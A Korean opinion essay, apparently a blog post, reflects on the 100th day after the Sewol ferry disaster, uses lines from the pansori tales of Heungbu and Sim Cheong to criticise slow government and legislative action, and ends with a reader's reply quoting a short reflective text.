‘그런데도 내가 알고 저런데도 내가 아오.‘

 

‘그런데도 내가 알고 저런데도 내가 아오.‘

판소리 흥부가는 권선징악이 그 주제이다. 착하게 살면 하늘에서 복을 준다. 제비가 물어다준 박을 터트리니 금은보화와 재물이 쏟아지는 이야기로 설정했다. 요즈음 유행하는 ’대박‘의 원조인 셈이다.

많은 식솔에 무능했던 흥부는 밥벌이를 찾고 찾다가 궁극에는 매를 맞고 돈을 벌려고 갔는데 그마저도 옆집 꾀섭이가 부부간의 이야기를 미리 엿듣고 먼저 가서 흥부대신 매를 맞고 가버린 통에 ‘매품’마저 빼앗겨 버린다. 힘없이 돌아오는 남편에게 건너편 형님(놀부)에게 가서 양식을 꿔오라고 하니 양식은커녕 박달 방망이로 흠씬 두들겨 맞고 돌아온다.

‘형님내외가 닭 잡고 쌀밥에 찬수 장만하여 후히 대접받고 쌀 석 섬을 주길래 짊어지고 강경모퉁이를 돌아오는데 어떤 시커먼 놈이, “이놈 흥부야 쌀이 중하냐, 니 목숨이 중하냐?” 면서

실컷 두들겨 패고 도망가 버렸다고 변명하자 흥부마누라가 울부짖으며 하는 소리가

‘그런데도 내가 알고, 저런데도 내가 아오.’ 하고 한탄한다.

 

세월호가 침몰한지 오는 24일로 100이 되었다. 그 충격이 국민각자마다 천차만별이겠지만 국가지도자나 국민개개인 모두는 이런 일이 대한민국에서는 다시 일어나지 않게 해야 한다는 데 까지는 이론이 없었다. 100일이 지난 지금 294명이 죽고, 아직도 10명이 실종되어 찾지를 못하고 있다. 기술적으로 사람의 힘이 못 미치는 불가항력이라는 걸 감안한다 하더라도 그 동안 밝혀진 내용만 보더라도 사건을 둘러싼 사실들이 이미 사고가 나도록 되어 있었고, 어떤 사고라도 일단 사고가 나면, 개인이나 기업도 마찬가지이겠지만 그 피해를 최소화하기 위한 것들을 국가적으로도 갖출 것을 요구하는 것은 국민으로써 당연하다.

 

‘그럴 줄 알았다. 그럴 줄 알았어!’

앞을 못 보는 심봉사를 데리고 황성 맹인잔치에 참가하기 위해 같이 길을 떠나던 뺑덕어미가 도중에 주막집에서 하룻밤을 묵게 되는데 뺑덕어미가 젊은 봉사와 등이 맞아 밤샘도망을 가버린 걸 아침이 되어서야 알아차린 심봉사가 그 자리에 주저앉아 신세 자탄을 하면서 하는 외마디이다.

그 옛날 교통도 통신도 없던 시절인데도 우리의 조상들은 이렇듯 세상이치에 밝았고, 그 어두웠던 시절에도 민심이라는 걸 훤히 알고 있었다. 요즈음 같은 세상에 말을 더 보태 무엇 하겠는가,

 

세월호 이후 100일,

국회에서 관련법안 190개가 상정이 되었는데 그 중에서 발효되어 시행된 건 1건이고, 5건이 의결되었다. 법이라는 것이 빨리 처리된다고 반드시 좋다는 것은 아니지만 시간이 지날수록 폐기되거나 말잔치로 끝날 공산은 높아간다는 걸 ‘의도성 체감의 법칙’을 통해서 국민들은 이미 알고 있다. 그동안 수많은 국내외 학자, 정치가, 언론인들이 세월호참사의 배경, 원인, 사후조치, 책임, 사회 국가적 변화와 대응 등에 대해서 실로 엄청난 분량의 정보와 의견, 요구등을 해왔고, 지금도 계속하고 있다. 그런 요구와 기대를 법이라는 제도와 장치로 어느 정도 구체화하려는데 용두사미로 되지 않을까 국민들은 지켜보고 있는 것이다.

 

국가란 무엇인가, 국민은 왜 세금을 내는가, 국가와 개인이 결코 따로 일 수 없는 세상에 살고 있다. 국민이 없는 국가는 이미 국가가 아니다. 국민을 지키고 국민을 위한다는 생각으로 국가의 지도자들이 임해 준다면 어려운 일이 아닐 것임은 그래서 더 자명하다.

‘그런데도 내가 알고 저런데도 내가 아오.‘ ’그럴 줄 알았다. 그럴 줄 알았어!‘

국민들도 책망만 할 것이 아니라 이런 일들을 처리하고 국민들을 안심시키기에는

너무나 형편없는 사람들에게 나라를 맡기지 않았는지를 이제는 알았으면 한다.

세월호 사고 그 후 100일을 맞으면서…..

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One Reply to “‘그런데도 내가 알고 저런데도 내가 아오.‘”

  1. 후배가 올려준 남덕현님의 글입니다.

    푸른 못자리 물들이는 석양을 바라보며 앉아 있었지.
    사무치게 아름다웠다네.
    파괴자들에 대한 분노는 어디에서 오던가.
    부서지는 것들의 아름다움에서 온다네.
    대상세계의 아름다움에 사무치지 못하면, 사무치는 분노도 없다네.
    그대에게 말하고 싶네.
    대상세계에 대한 정치경제학보다, 미학이 먼저라고.
    사무치는 아름다움, 딱 그 만큼 분노할 수 있다고.